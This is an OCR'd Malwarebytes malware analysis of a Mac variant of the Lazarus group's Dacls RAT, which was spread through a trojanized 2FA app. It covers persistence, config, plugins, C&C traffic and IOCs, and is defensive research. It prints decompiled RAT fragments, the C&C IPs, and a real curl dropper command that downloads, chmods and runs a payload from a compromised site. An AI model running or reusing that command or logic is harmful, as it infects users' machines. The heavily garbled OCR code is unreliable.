New Mac variant of Lazarus Dacls RAT distributed via
Trojanized 2FA app

Threat Intelligence Team May 6, 2020
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This blog post was authored by Hossein Jazi, Thomas Reed and Jérébme Segura.

We recently identified what we believe is a new variant of the Dacls Remote Access Trojan
(RAT) associated with North Korea’s Lazarus group, designed specifically for the Mac
operating system.

Dacls is a RAT that was discovered by Qihoo 360 NetLab in December 2019 as a fully
functional covert remote access Trojan targeting the Windows and Linux platforms.

This Mac version is at least distributed via a Trojanized two-factor authentication application
for macOS called MinaOTP, mostly used by Chinese speakers. Similar to the Linux variant, it
boasts a variety of features including command execution, file management, traffic proxying
and worm scanning.

Discovery

On April 8th, a suspicious Mac application named “TinkaOTP” was submitted to VirusTotal
from Hong Kong. It was not detected by any engines at the time.
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The malicious bot executable is located in “Contents/Resources/Base.lproj/” directory of the
application and pretends to be a nib file (“SubMenu.nib”) while it's a Mac executable file. It
contained the strings “c_2910.cls” and “k_3872.cls” which are the names of certificate and
private key files that had been previously observed.

Persistence

This RAT persists through LaunchDaemons or LaunchAgents which take a property list (plist)
file that specifies the application that needs to be executed after reboot. The difference
between LaunchAgents and LaunchDaemons is that LaunchAgents run code on behalf of
the logged-in user while LaunchDaemon run code as root user.

When the malicious application starts, it creates a plist file with the “com.aex-loop.agent.plist”
name under the “Library/LaunchDaemons” directory. The content of the plist file is hardcoded
within the application.

The program also checks if “getpwuid( getuid())” returns the user id of the current process. If
a user id is returned, it creates the plist file “com.aex-loop.agent.plist” under the
LaunchAgents directory: “Library/LaunchAgents/”.

LAB_10000b&da :
pFvare = _fopen(i{char *)&local 238, "w");

o fppvea s o (ETIE #h o ny T

_fprintf(pFvars,
"<Peml version=4"1l.0%" encoding=\"UTF-8%"?>%r\n<!DOCTYPE plist PUBLIC
\"-//hpple//DTD PLIST 1.0//EN\"
“hitp: //www . apple. com/OT0s/Propertylist-1. 0. dtdv" =\ rin<plist
version=\"1,0%"=\r\n=dict=\r\n\t<key=Label</key=\r\n\t<string=com.aex-loop.agent</str
ing=trintht<key=Programirguments</key=\r\n\t<array=\rn\tit<string=%s</string="\ri\n\tit
=string=daemon=/string=\rinit</array=\rin\t<key=kKeepalive</key=\rin\t<false/=\rin\t<k
ey=RunAtLoad=/key=\r\n\t<true/=\rn</dict=\r\n</plist="
Lyvaral,

_fclose(pFvars);

1
I

Figure 1: Plist file
The file name and directory to store the plist are in hex format and appended together. They
show the filename and directory backwards.

tsilp.tnega.pool -xea.moc/snomeabhcnual/yrarbils

(undefineds *) (& + 4 7) = Ox7473606cT02RT4; Flgure
[(undefimeda *) (& + ] = O 745 12e T06T:

[undafimedd *)[(longlé &
fundefinedd ) ({long)& ' x1d) BIEI2T TATdbe iS5

[undefinedd *)[(long)& + + 8} = Oxd]lB6EEI6e 7561 e 3 tsilp.tnega. pool-xea.mocSstneghhcnual/yrarbils
[umdefinedd *)[(longl& +

2: Directory and file name generation

Config File
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The config file contains the information about the victim’s machine such as Puid, Pwuid,

plugins and C&C servers. The contents of the config file are encrypted using the AES
encryption algorithm.

1Stack73084 = 0;

*({long *)((longl&local 28 + 1Var3) = 0x100004c9d;

__bzero():

#(long *) ((long)&local 28 + 1Var3) = Ox100004caz;

uVarl = _getuld(* (undefined *) ((long)&local 28 + 1Varz));

*({long *)((longl&local 28 + 1Var3) = 0xl00004ca9;

lvard = getpwuid((ulong)uvarl):

uvar? = *(undefineds #) (1vard + 0x30);

*{long *)((longl&local 28 + 1Var3) = Oxl00004chc;

_strepy (austack73080,uvar?, ¥ (undefined *) ((long)&local 28 + 1var3));

*{long *)((longl&local 28 + 1var3) = 0xl00004ccd;

sWars = strlen{auStack73020, % (undefined #) ({long)&local 28 + TVar3));

#¥(undefineds *) ((longlauStack73050 + sVars) = Ox62642e65725174;

*(undefined8 *) (auStack73056 + svarS) = Ox6f74737070612:65;

*{undefineds *) ({long)auStack72080 + sVarS + 0x10) = OxG6c7070612:6d6T63;

*{undefineds *) ({longlauStack72080 + sVarS + 8) = Ox2f7365686361432F;

*(undefineds *) ((longlauStack73080 + sVarS) = Ox7972617262604c21;

*(long *) ((longl&local 28 + 1var3) = 0xl00004d28;

iVar2 = _access(auStack72080,0, % (undefined *)(({longl)&local 28 + 1Var3));

uvar? = oxffffffff;

if (ivarz == 0} {

*{long *)((long)&local 28 + 1var3) = 0x100004d48;
pFvarg = _fopen(auStack72080, "rb", # {undefined *)({long}&local 28 + 1varz)):
if (pFvarg !'= (FILE *)0x0) {
*(long *)((long)&local 28 + 1Var3) = 0x100004dé&d;
sVarS = _fread(local_8e48,1,0x8e20, pFVars, * (undefined *) ({long)&local 28 4+ 1Var3));
uvar? = Oxffffffff;
if (sWarS == 0x8e20) {
*(long *)((long)&local 28 + 1Var3) = 0x100004d93;
sVars = _fread(&15tack73024,1, 4, pFvars, ¥ (undefined *) ((long)&local 28 + 1Varz));
i1t ((sVarS == 4) && (1Stack73084 == Ox19852013)) {

¥ (lopg #) ((lopgl&local 28 + 1vara) = 0l 00004dce.;

AES CBC decrypt_buffer
(auStack72808, local 8ed8, 0xBe20,& g pkey,& g pSeed,
*(undefined *)({long)&local 28 + 1Var3));

#(long *) ((longl&local 28 + [Var3) = Oxl00004dde;

_memcpy (param_1,auStack72802, 0x8el4, * {undefined *) ({long)&local 28 + 1var3));

#¥(undefinedd #) (param_1 + 8) = 0Ox1343b84;

uvar? = 0;

}
}
*(long *)((longl&local_28 + 1var3) = Oxlo0004dfo;
_fclose(pFvars, ¥ {undefined *) ({longl)&local 28 + 1Varz));
}
}

Figﬂré 3: Load config |
Both Mac and Linux variants use the same AES key and IV to encrypt and decrypt the
config file. The AES mode in both variants is CBC.

3/18


https://blog.malwarebytes.com/wp-content/uploads/2020/05/config.png

DAT_007d9170

007d9170 ad BE Ath
0O7do171 d2 7 Dzh
007d9172 89 7T 8%h
0e7do173 29 77 2%h
007do174 27 77 27h
007d9175 78 77 78h
0O7do176 75 77 75h
0O7de177 & 77 Feh
007do178 aa 77 AAh
007do179 78 77 78h
007d917a c7 77 C7h
007do17h 98 77 9sh
0O7do17c 39 77 3%h
007d917d a0 77 AGh
007de17e 05 77 @5h
0O7do17f ed 77 ECh
DRT_OuU7091ey
0e7do180 39 77 3%h
007do18l 18 77 18h
0e7do182 82 77 2zh
007do183 52 7 52h
007d9184 33 7T 33h
007d9185 ea 77 EAh
007do186 18 77 18h
007d9187 bb 77 BBh
007do188 18 77 18h
007do189 30 77 30h
007dol8a 78 77 78h
007do1sb &7 77 97h
007d918c a9 77 ASh
007do18d el 77 Elh
007d918e 8a 77 8Ah
007do1sf 92 77 92h

Figure 4: AES Key and IV
The config file location and name are stored in hex format within the code. The name of the
config file pretends to be a database file related to the Apple Store:

“Library/Caches/Com.apple.appstore.db”

wold GetConfigFilename(char *paras_1)

{
uid_t
Long
5178 1

= _geturd(];

ir2 = _getpwwid{{ulong)

_strepy (param_1,* {char **){1v + Ox30))
it tlanloacan 1l
*(undefinedd *) (param_l + + (ule) = f
®{undefinedd ':l[pa-arl_'l_ 4+ + O]l8) =
*(undefinedd *) (param_]1 +  0u]10) = TOT0E] 2esdaT63:
* (undefined® ®)(param_l + + B) = FIELEREIE] 4321
+ 7

* (undefined® *) (param_1

FetUTT;

5: Config file name

XREF[2] : FUN_0040ce52: 0040cTad (*),
FUN_0040d02d : 0040d0e] (*)
Key
XREF[2] : FUN_0040ceS2: 0040cT96 (*)
FUN_0040d02d : 0040dada (*)
Y

Figure

bd.erotsppa.elppa.moc/sehcaC/yrarbil/s

The “IntializeConfiguration” function initializes the config file with the following hardcoded

C&C servers.
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undefineds InitializeConfiguration(voild)

1
int ivarl;
time t tVarz;
undefinedsd uvars;
time t local 20;

tWar2 = _time(&local_20);

_srand ({uint)tvarz);

iVarl = LoadConfig((tagMATA_CONFIG *)& g mConfig);
if {ivarl == 0) {

uvar3 = 0;

}

else {
__ bzero(& g_mConfig,Ox8eld);
_g mConfig = _rand();

_g_mConfig = ({_g_mConfig / Oxffffff + (_g_mConfig =»> Ox1f))

DAT 10009c3c8 = 0x1343bB400030100;
QAT _Joomacade = 2.

mata_wcscpy ( (wchar_t *)&DAT 10009430, (wehar_t *)L"67.43,239.146: 443");
mata_wcscpy ( (wchar_t *)&DAT 10009cc30, (wehar_t *)L"185.62,58, 207 443" );
mata wescpy ((wchar t *)&DAT 10009d430, (wehar t *)L"185. 62,58, 207: 443" ) ;

DAT 10009c3d0 = 2;

uvars = SaveConfig((tagMATA_CONFIG *)& g mConfig);
}
return uVars;

}
Figure 6: Initialize config file

{int) ({long) g mConfig * OxB00000SL == Ox3f)) * -oxffffff + g mConfig:

The config file is constantly updated by receiving commands from the C&C server. The
application name after installation is “mina”. Mina comes from the MinaOTP application

which is a two-factor authentication app for macOS.

Config file is being updated

Main Loop

1:17:81 PM Eﬁ 521 .mina ASUsers/labsLibrary/Caches/ com.
1:17:81 PM % 521 .mina ASUsers/lab/Library/Caches/com.
1:17:@81 PM ﬁ{ 52l .Mina SUsers/lab/Library/Caches/ com.
1:17:81 PM % 521 .mina AUsers/lab/Library/Caches/com.
1:18:57 PM ﬁ{ 521 .mina AUsers/lab/Library/Caches/com.
1:18:57 PM % 521 LHLna SUsers/Llab/Library/Caches/ com.
1:28:57 PM ﬁ{ 521 .mina SUsers/lab/Library/Caches/ com.
1:28:57 PM 521 .mina ASUsers/labsLibrary/Caches/ com.
1:22:58 PM ﬁ{ 521 .mina ASUsers/lab/Library/Caches/com.
1:22:58 PM % 521 .mina SUsers/lab/Library/Caches/ com.
1:24:58 PM ﬁ{ 52l .Mina SUsers/lab/Library/Caches/ com.
1:24:58 PM % 521 .mina AUsers/lab/Library/Caches/com.
1:26:59 PM ﬁ{ 521 .mina AUsers/lab/Library/Caches/com.
1:26:59 PM % 521 LHLna SUsers/Llab/Library/Caches/ com.
1:28:59 PM ﬁ{ 521 .mina SUsers/lab/Library/Caches/ com.
1:28:59 PM 521 .mina ASUsers/labsLibrary/Caches/ com.

apple
apple
apple
apple
apple
apple
apple
apple
apple
apple
apple
apple
apple
apple
apple
apple

.appstore.
.appstore.
.appstore.
.appstore.
.appstore.
.appstore.
.appstore.
.appstore.
.appstore.
.appstore.
.appstore.
.appstore.
.appstore.
.appstore.
.appstore.
.appstore.

EEEBEEEEEEEEEREEREREE

Figure 7:
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After initializing the config file, the main loop is executed to perform the following four main
commands:

o Upload C&C server information from the config file to the server (0x601)

» Download the config file contents from the server and update the config file (0x602)

e Upload collected information from the victim’s machine by calling “getbasicinfo” function
(0x700)

o Send heartbeat information (0x900)

The command codes are exactly the same as Linux.dacls.
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LAB 100005ade:

LAE 100005aes:

LAE_100005aea:

if (local 8268 != 0x601) {|

i
i
H

uVarls = Ox20600;
goto LAB 10000Saea;
1
*(long *)({long)&local 38 + 1Wars) = Ox100005hc3;
CopyConfigandConvertEndian
(& g mConfig, puVarll, DAT 10009c42c,
*(undefined *) ((long)&local 38 + 1Varg));
*(long *)({long)&local 38 + 1Wars) = 0x100005hdS;
MataSendPacket (0x20500, puvarll, 0x8el4d, ¥ (undefined *) ((long)&local 38 + 1varg));

I if (local 8e6s == Ox602) {

1T (local _ceod 1= Oxoeld) goto LAB 10000Sade;
*(long *)((long)&local 38 + 1Vars) = 0x100005a8d;

1V

fard = MataRecv (puvarll, 0x8eld, Oxhd, ¥ (undefined *) ((long)&local 38 + 1vara));

if (ivard '=0) {

b
}

*(long *)({long)&local 38 + 1Wars) = Ox10000Sabl;
CopyConfigAndConvertEndian
(Llocal B8e50,apcStack73888, local Bdes,
*(undefined *) ((long)&local 38 + 1Varg));
*(long *)((long)&local 38 + 1Wars) = Oxl00005abs;
local_Be58 = SaveConfig(apcStack73288, % (undefined *) ((long)&local 38 + 1varg)):
if (local 2eS8 == 0) goto LAB 100005aeS:
*(long *)({longl&local 38 + 1Vars) = Oxl0000Sads;
MataSendPacket (0x20800, &local 2258, 4, * (undefined *) ((long)&local 38 + 1Vars));

else {

if (local 8e68 == 0x900) { |

b

uVarls = Gx20500;

*(long *) ({long)&local 38 + 1Vars) = Ox100005af3;
MataSendPacket (uvarl=,0,0,* (undefined *) ({longl&local 38 + 1Vars));

else {

[ if (local 8e68 != 0x700)] goto LAB_10000Sade;

*(long *) ({long)&local 38 + 1Vars) = Oxl0000Scas;
iVard = GetBaseInfo(puvarll,*(undefined *) ((longl&local 28 + 1vars));
local_BeS0[0] = local_BeSo[0] & Gxffffffffooooooon | (ulongluvars;
if (iVard == 0)

uVarl3 = Ox20600;

puvarll = (ulong *)0x0;
uvarg = 0;

k

Figure 8: Main Loop

Plugins

This Mac RAT has all the six plugins seen in the Linux variant with an additional plugin

named “SOCKS”. This new plugin is used to proxy network traffic from the victim to the C&C

server.
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The app loads all the seven plugins at the start of the main loop. Each plugin has its own
configuration section in the config file which will be loaded at the initialization of the plugin.

undefineds AutoLoadPlugins(void)

{
LoadPlugin_CMD():
LoadPlugin_FILE();
LoadPlugin_PROCESS():
LoadPlugin TEST();
LoadPlugin_RP2P();
LoadPlugin_ LOGSEND() ;
LoadPlugin_SOCKS();
DAT _1000al430 = Oxc.
return 1;

Mac Variant

Plugins loaded

CMD plugin

undefineds FUN G040dbcd (void)

{
FUN_00407dc7();
FUN_0040488d();
FUN_00408b8c();
FUN_0040b445();
FUN_00409343();
FUN_0040a0b2();

_DAT 007edf4c = Oxc;
return 1;

Figure 9:

}

Linux Variant

The cmd plugin is similar to the “bash” plugin in the Linux rat which receives and executes
commands by providing a reverse shell to the C&C server.

undefineds FUN_10000B8Sa0(char param_l,code **param_2)

{
code *

if (param_1 == "0') {
i ¥ 1 = CadFun:;
}
else {
if (paran_1 !'= "%x02') {
return O;
}
peva = RaversaShellFur L]
}
‘paran_2 = |
return 1:

Mac Variant

10: Cmd Plugin

File Plugin

hlang FUNM_00407d77(char paran_l,undefinedd *paran_2)

{

uint
= 1;
if {param 1 == "0} {
'naran_i = Oxd407fd6;
}
alse {
if [param_1 == "“x02') { .
*param_2 = OxdDBd7c; Flgure
}
else {
b
}

return (uleng)

Linux Variant
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The file plugin has the capability to read, delete, download, and search files within a
directory. The only difference between the Mac and Linux version is that the Mac version
does not have the capability to write files (Case 0).

smfitch [

case Bull
break;
cane lull
= {
brsak;
gaye Jull
case Sull
sawr Bull
case Jull
case Bull
casne Sull
case Beufl L
cane Bxbull:
case Beelwll:

L
L
case Gualall:
cave Bufull
case Bufwll:
return
case Jull
= sub_1EQO0ERAD;
brwak
case dull
= sub_1BMOGCF;
break;
case Buldull
ks 1ESNIT IO
hreak;

LS

11: File plugin

Process plugin

Isub_ 10000660,

itk |

cane I
sub_484580;
break;
case 1:
= Sub_484F56;
break;
case 3
sub_485FES;
break;
case 4
sub 405504
break; .
case Bwld: Flgure
- sub 486 5N
break;
default
L.H
bireak;
}

Limux Warant

The process plugin has the capability of killing, running, getting process ID and collecting

process information.

FTA_ProvlesFun_ 1000800

LOD0E050 50 T 00 wddr
06 ol 80
[

OO0BCINA 50 HL 00 widr
00 01 90
[

1000BCDE0 30 B2 00 widr
00 0ol 20
00 00

LGB D8 50 T 00 e
06 o1 00
00 oo

10008070 #0 B3 00 wdr
00 0l 90
00

Mac Variant

12: Process Plugin

unsigrned int vi; J/f

1;
if ( = 1)

= sub_4B7ESA;

}
elee 5F ( ] » 1 )

C%al = sub_d@79IC;
else

if 1= 4)
return &;
- = sub_487BC4;
1
}
else
{
if ( ]
return @;
r

L

)

rElurn

Lirs Variani

Figure

1)) sub_4BGEAS;

If the “/proc/%d/task” directory of a process is accessible, the plugin obtains the following
information from the process where %d is the process ID:

o Command line arguments of the process by executing “/proc/ %/cmdline”
 Name, Uid, Gid, PPid of the process from the “/proc/%d/status” file.
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Test plugin

The code for the Test plugin between Mac and Linux variant is the same. It checks the
connection to an IP and Port specified by the C&C servers.

RP2P plugin

The RP2P plugin is a proxy server used to avoid direct communications from the victim to
the actor’s infrastructure.

M Marsant

13: Reverse P2P

LogSend plugin

The Logsend plugin contains three modules that:

e Check connection to the Log server
e Scan network (worm scanner module)
o Execute long run system commands
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ulong FUN_ 10000940 (byte param_l,undefined® *param_2)

{
if (param_1 < 3) {
*(undefined *#*)param_2 = (&FTR ChecklLogsendUrlFunc_10008cG78) [ (char)param_11;
1
return (ulong) (param_1 = 3);

}

PFTR ChecklLogsendUrlFunc_10008c078 XREF[2] :

10008c078 70 9a 00 addr ChecklLogsendUrlFunc
00 01 00
oo oo

10008c080 60 a5 OO addr RunLogsendFunc
00 01 00
oo oo

10008c088 20 a7 OO addr GetlLogsendStateFunc
00 01 00
oo oo

Figure 14: Logsend Plugin
This plugin sends the collected logs using HTTP post requests.

_memcpy (param_4 + sVarz,

"User-Agent: Mozilla/S.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/537.38 (KHTML, like
Gecko) Chrome/85.0,3325,181 Safari/537.38%rwn"
. 0182, * {undefined *)({long)&local 30 + 1varll);
*(long *) ({long)&local 20 + Tvarl) = Ox1000025c3;
sVar2 = _strlen{param_4,*(undefined *) ({long)&local 30 + 1varl));
*(long *) ({long)&local 20 + Tvarl) = Ox1000025d8;
_memcpy (param_4 + sVarz,
“Accept: text/html,applicationsxhtml+xml,application/xml;q=0.9,*/*%;q=0,8\r\n", Oxda,
*(undefined *) ({long)&local 30 + TVarl));
*{Tong *) ({long)&local 230 4+ Tvarl) = Ox1000025e0;
Figure 15: User Agent
An interesting function in this plugin is the worm scanner. The “start_worm_scan” can scan a
network subnet on ports 8291 or 8292. The subnet that gets scanned is determined based
on a set of predefined rules. The following diagram shows the process of selecting the

subnet to scan.
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16: Worm Scan

Socks plugin

The Socks plugin is the new, seventh plugin added to this Mac Rat. It is similar to the RP2P
plugin and acts as an intermediary to direct the traffic between bot and C&C infrastructure. It
uses Socks4 for its proxy communications.
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ulong Socksd(FuncDef25 *param_1,FuncDef28 *param_2)
{
int iVarl;
pid t pVarz;
uint *puVars;
ulong uVard;
undefined *puvars;
iVarl = Recv((FuncDefd *)param_1,&DAT 10009zce, Oxc);
uvard = 0;
if ({ivarl !'= 0) & ( DAT 10009aced == 10)) {
iVarl = Recv((FuncDefd *)param_1,&DAT 1000%acd0,10);
if (ivarl == 0) {
uvard = 0;
b
else {
puVars = &DAT 00000014,
_signali(Oxl4); ; .
pVar2 = fork(); Figure 17:
if (pvarz < 0) {
puvarz = (uint *)__ error(};
iVarl = SendError((FuncDef2 *)param_2,*puvar3);
}
else {
if (pvarz == 0) {
SocksAThread (puvars);
J¥ WARNING: Subroutine does not return #/
__exit(o};
b
MakePacketHeader( (tagPACKET HEADER #)E&DAT 1000%acel, 0x20500,0,0);
ivarl = Send({(FuncDefl *)param_2,&DAT 1000%9ace, Oxc);
}
uvard = (ulongl (iVarl !'= 0);
b
b
return uVard;
b
Socks4

Network Communications

C&C communication used by This Mac RAT is similar to the Linux variant. To connect to the
server, the application first establishes a TLS connection and then performs beaconing and
finally encrypts the data sent over SSL using the RC4 algorithm.
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Q- Search

[ 2 com.apple.geod.xpc (7)

[ .mina

» B parsec-fbf

» B nsurlsessiond (2)

» M Wireshark via dumpcap
» M apsd &

» M trustd i3

» o Little Snitch Software Update
» M timed {5}

+ @ cloudd

» M commerce (3)

» B appstoreagent

» B adprivacyd (3)

k M nsurlsessiond

b & Microsoft AU Daemon (3)
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Figure 19: TLS connection
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67.43.239.
192.168.2.
67.43.239.
192.168.2.
192.168.2.
67.43.239.
192.168.2.
192.168.2.
67.43.239.
192.168.2.
67.43.239.
67.43.239.
192.168.2.

146
70
70
146
70
146
70
70
146
70
70
146
70
146
146
70

Destination

192.168.2.
67.43.239.
67.43.239.
192.168.2.
67.43.239.
192.168.2.
67.43.239.
67.43.239.
192.168.2.
67.43.239.
67.43.239.
192.168.2.
67.43.239.
192.168.2.
192.168.2.
67.43.239.

70
146
146
70
146
70
146
146
70
146
146
70
146
70
70
146

v 1.60kB

Process

- .mina

A 2.01kB

Where: [Usersflab/Library/.mina (3

User:

lab

Internet Access Policy

Code signature verification failed for (Users/lab/
Library/.mina

Code Signature

Status: €3 Mot signed

Connection Details

IF Address:
TCP Port:

Protocol:

Connected:

Connects:

|. First Activity:

[ Last Activity:

67.43.239.146
https (443)

TCP

no

1 allowed, 0 denied
1m 155 ago

495 ago

Geographic Information

(ca) Canada
Figure 18: Traffic generated by the Application (.mina)

Protocol | Lengtt Info

TLSvl.. 1466 Server Hello, Certificate, Server Key Exchange, Server Hello..

TCP 66 49472 - 443 [ACK] Seq=149 Ack=1397 Win=131072 Len=0 TSval=94..
TLSv1.. 209 Client Key Exchange

TCP 70 443 - 49472 [ACK] Seq=1397 Ack=292 Win=32477 Len=0 TSval=317..
TLSv1.. 117 Change Cipher Spec, Encrypted Handshake Message

TLSv1.. 121 Change Cipher Spec, Encrypted Handshake Message

TCP 66 49472 - 443 [ACK] Seq=343 Ack=1448 Win=131008 Len=0 TSval=94..
TLSv1.. 99 Application Data

TLSv1.. 103 Application Data

TCP 66 49472 - 443 [ACK] Seq=376 Ack=1481 Win=131008 Len=0 TSval=94..
TLSv1.. 99 Application Data

TCP 70 443 - 49472 [ACK] Seq=1481 Ack=409 Win=32360 Len=0 TSval=317..
TLSv1.. 202 Application Data, Application Data, Application Data

TCP 70 443 - 49472 [ACK] Seq=1481 Ack=545 Win=32224 Len=0 TSval=317..

TLSv1.. 101 Encrypted Alert

TCP 66 49467 - 443

[ACK]

Seq=513 Ack=1512 Win=131008 Len=0 TSval=94..

Both Mac and Linux variants use the WolfSSL library for SSL communications. WolIfSSL is

an open-source implementation of TLS in C that supports multiple platforms. This library has

been used by several threat actors. For example, Tropic Trooper used this library in its

14/18


https://blog.malwarebytes.com/wp-content/uploads/2020/04/ssl-traffic.png
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Keyboys malware.

|_Hrr:|n||14 " CMatahet_Creats{int ua-"n_lﬂ

q{

int warl;

undefinedd Spuvarz;

undefinedd uvard

lang LWard;

wold *pviars;

2 m (yndefinedd *)_mslloc|Gedal);

1f [puwar? !e (undetinedd *owd) {
BpoVard = Oy
#[endafinadd *) (puvarl & 6) = O
puvar| 2l = pares_L;
¥ [endefinedd ) (puvar? & 4} = O:
puvar1a] = &y
__ brersdpuvar? + Oee, De306);

el fss library_amiti(]:
wel S5 load_errer_strings():
i parsa_] == 0] {
vard = _wolfTLSel_2 client_methad(];:
r wol f55L_CTH_mw(uvaril;
prd 1w 0] gato LAR 10000106 ;

vard m _wilITLSe]_2 fefver_metbad(];
Vard = wolfSSL_CTH mawluVaril;

warzl¥] = paras_l:
*undefiness *]({puvar:
puar2[10] = o:
thunk_FLUK_ 00400628 [puvar? + Oue, 0, al0Zh;
Thunk_FUK_O0400638 [[Teng)povar? + Dal3a, 0, 0e102);
fthunk_FUN_ 00400628 [puvar? « OuwEt, 0, 0vlo0)

var2[omef] = O
B [pavar2l2] == a) {

thunk_FUN_00415bb0 ) ;

FuM_ooalaleil:

= FUN_O042e MOl

+8) =0

local 20 = FUN_00ALLFB0vari);
if o
return fundefinesd *}0;
}
wlse

thusk_FUN_0041SBb0{) ;
FUM_O04 181 ;
Vard = FUN_DO4ZcRSA0)
= FUN_S0HLE b vardl;
if | - 0} {
return {undefinedd *)0:

Figure

T. rl = FUN_ D041 3200( |
if {wvarl =21 {
return {undefinedd *}0;

L tE_2910.cls",1);

af LEid Lol 0 EE
[iwarl = walTSSE CTE use certificate filellvward, "¢ 2800.cUs". 1), @ < ivarll) ri— . - -y T .
[:varl = _wel#55L_CTH_wse_Privetedsy_file(lverd,"k_3872.c15°,1), & = 1varl)) 66 if 1 'ﬂ':‘-ﬁhmc ek FT A
(1varl = wolfSSL CTE check_private_key{liars), ivarl t= 00] { * Hlu,'ﬂ undetinedd *J0
T ) }
®[leng *){puverd + 8) = |Vard; Fi 30ed 1l
pi¥ars = _mallec (0wsdnog) ; |_1' 1. --H.:‘;Dﬂ;l{ ' o
*[weid =0 rZ % Duc) = prvardy return {undefinedd +)0;
MRt puvarls }
¥ ¥
¥
3 "{long *Hlpuvard + 6] = il _20;
a3 w FUM_ 00200604 0 40000} :
"{undefined® *J{puvar? + Gech = uiard;
raturs puvard;
Mac Variant

20: WolfSSL

Limux Variant

The command codes used for beaconing are the same as the codes used in Linux.dacls.

This is to confirm the identity of the bot and the server.
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https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html
https://blog.malwarebytes.com/wp-content/uploads/2020/05/wolfssl.png

local 44 = 0x20000;
1Varl = CHMatalet_SendBlock (param_1,&local 44,4,1);
if {ivarl =0} {
local_44 = @;
iVarl = CMataNet_RecvBlock (param_1,&local_44,4,1,300);
uvarz = 0;
if ((ivarl 1= 0) && (local 44 == 0x20100)) 1
local 44 = @x20200;
T = —sendBlock (param_1,&Local_44,4,1);
uvarz = (ulong) (ivarl != 0);
b
goto LAB 10000131e;
b
1
1
else { . .
iVarl = CMataMet SSLHandshake (param_1); Figure 21: Beconing
if {ivarl =0} {
local_44 = @;
iVarl = CMataNet_RecvBlock (param_1,&local_44,4,1,300);
uvarz = 0;
if ((ivarl == 0) || (local 44 '= 0x20000)) goto LAB 10000131e:
local 44 = 0x20100;
1Varl = CHMatalet_SendBlock (param_1,&local 44,4,1);
if {ivarl =0} {
local_44 = @;
iVarl = CMataNet_RecvBlock (param_1,&local_44,4,1,300);
uvarz = (ulong)(local 44 == Ox20200 && 1Varl != 0);
goto LAB 10000131e;
b
1
1

The RC4 key is generated by using a hard-coded key.

*(undefinedd *) (param 2 + 0xf4) = Oxf7f6fSFa;
*(undefined4 *) (param_2 + 0xf8) = Oxfbfafofs;
*(undefined4 *) (param_2 + 0Oxfc) = oxfffefdfc;

¥ (undefined2 #) (param_2 + 0x100) = 0;

1vard = 0;

bvar3s = 0;

puVar2 = param_3;

do {
rarl
bVar3

param_2[1Vard];
bvars + (char)rvarl + Figure 22: RC4
param_3[ (ulongipuvarz & GxffffffffoDDOOOOO |
(long) (int)1Vard % (long)param_4 & Oxffffffffu];

puvarz = (uchar *)0x0;

param_2[1Vard] = param_2[bVar3];

param_2[bVar3] = rvarl;

1Ward = 1Vard + 1;
} while (lvard != 0x100);
return;

}
Initialization

Variants and detection
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https://blog.malwarebytes.com/wp-content/uploads/2020/05/handshake-2.png
https://blog.malwarebytes.com/wp-content/uploads/2020/04/rc4.png

We also identified another variant of this RAT which downloads the malicious payload using
the following curl command:

curl -k -o ~/Library/.mina https://loneeaglerecords.com/wp-
content/uploads/2020/01/images.tgz.001 > /dev/null 2>&1 && chmod +x ~/Library/.mina >
/dev/null 2>&1 && ~/Library/.mina > /dev

We believe this Mac variant of the Dcals RAT is associated with the Lazarus group, also
known as Hidden Cobra and APT 38, an infamous North Korean threat actor performing
cyber espionage and cyber-crime operations since 2009.

The group is known to be one of the most sophisticated actors, capable of making custom
malware to target different platforms. The discovery of this Mac RAT shows that this APT
group is constantly developing its malware toolset.

Malwarebytes for Mac detects this remote administration Trojan as OSX-DaclsRAT.
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™ | Premium

(o] & ©

. £ Scanner

Scan results
Name
v Threats - 3
v 0SX.DaclsRAT
.mina
TinkaOTP.app

com.aex-loop.agent.plist

Type

Malware

File

Folder

File

ltems detected

3

Location

/Users/

Scan time ltems scanned
16 sec 14,842

/Library/.mina

/Applications/TinkaOTP.app

/Users/

Close Quarantine

/Library/LaunchAgents/com.ae...

——

App Block

Malwarebytes has blocked

"TinkaOTP".

I0OCs

Close

Learn More

899e66ede95686a06394f707dd09b7c29af68195d22136Ff0a023bTfd01390ad53
846d8647d27a0d729dT40b13a644f3bTffdc95f6d0e600T2195¢85628d59f1dc6
216a83e54cac48a75b7e071d0262d98739c840fd8cd6dob48a9c166b69acd57d
d3235a29d254d0b73ff8b5445c962cd3b8411487469d60a02819c0eb347111dd
d3235a29d254d0b73ff8b5445¢c962cd3b841F487469d60a02819cPeb347111dd

loneeaglerecords[.]com/wp-content/uploads/2020/01/images.tgz.001

67.43.239.146
185.62.58.207
50.87.144.227
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